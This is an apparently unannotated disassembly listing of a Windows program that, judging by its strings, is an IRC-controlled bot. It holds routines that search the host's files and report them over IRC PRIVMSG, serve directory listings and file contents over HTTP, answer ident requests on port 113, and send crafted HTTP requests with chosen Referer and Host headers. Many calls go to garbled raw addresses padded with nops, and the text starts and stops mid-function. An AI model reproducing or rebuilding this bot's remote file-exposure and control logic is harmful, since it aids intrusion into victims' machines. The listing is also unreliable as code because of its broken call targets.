loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 27506FCh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2790000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26808BBh


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26A068Bh
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 27B0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2790872h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2790328h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26A068Bh


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 27506FCh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2790000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2730000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 26808BBh


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
